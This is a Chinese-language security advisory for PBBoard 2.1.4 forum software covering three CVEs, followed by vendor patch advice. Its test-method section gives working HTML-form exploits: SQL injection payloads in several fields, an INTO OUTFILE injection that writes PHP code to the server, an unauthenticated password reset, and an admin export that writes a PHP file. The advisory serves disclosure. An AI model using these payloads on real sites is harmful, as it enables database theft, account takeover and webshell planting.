发布日期：2012-08-08
更新日期：2012-08-08

受影响系统：

PBBoard PBBoard

描述：

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BUGTRAQ  ID: 54916
CVE ID: CVE-2012-4034,CVE-2012-4035,CVE-2012-4036

PBBoard是开源的论坛软件。

PBBoard 2.1.4及其他版本在实现上存在多个安全漏洞，利用这些漏洞可允许攻击者在下层数据库执行非法操作，更改账户密码访问不同的用户账户或执行任意脚本代码。

<*来源：High-Tech Bridge Security Research Lab
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

High-Tech Bridge Security Research Lab （）提供了如下测试方法：

For CVE-2012-4034:

<form action="http://www.example.com/index.php?id=1&member=1&page=send&start=1" method="post" name="main" id="main">
<input type="hidden" name="username" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

<form action="http://www.example.com/index.php?page=forget&send_active_code=1" method="post" name="main" id="main">
<input type="hidden" name="email" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

<form action="http://www.example.com/index.php?page=forum_archive&password_check=1&id=1" method="post" name="main" id="main">
<input type="hidden" name="password" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

<form action="http://www.example.com/index.php?page=management&move=1&subject_id=1" method="post" name="main" id="main">
<input type="hidden" name="section" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="submit" name="Submit" value="Send">
</form>

<form action="http://www.example.com/index.php?page=managementreply&startdeleteposts=1&do_replys=1" method="post" name="main" id="main">
<input type="hidden" name="section_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="check[]" value="1">
<input type="submit" name="Submit" value="Send">
</form>

<form action="http://www.example.com/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
<input type="hidden" name="new_password" value="1">
<input type="submit" name="Submit" value="Send">
</form>

<form action="http://www.example.com/index.php?page=tags&start=1" method="post" name="main" id="main">
<input type="hidden" name="subjectid" value="' union select '<? php_code ?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 INTO OUTFILE '../../../path/to/site/file.php' -- ">
<input type="submit" name="Submit" value="Send">
</form>


For CVE-2012-4035:

<form action="http://www.example.com/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1">
<input type="hidden" name="new_password" value="new_password">
<input type="submit" name="Submit" value="Send">
</form>

For CVE-2012-4036:

<form action="http://www.example.com/admin.php?page=addons&export=1&export_writing=1&xml_name=file.php" method="post" name="main" id="main">
<input type="hidden" name="context" value='<? phpinfo(); ?>'>
<input type="submit" name="Submit" value="Send">
</form>

建议：

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厂商补丁：

PBBoard
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

www.pbboard.com

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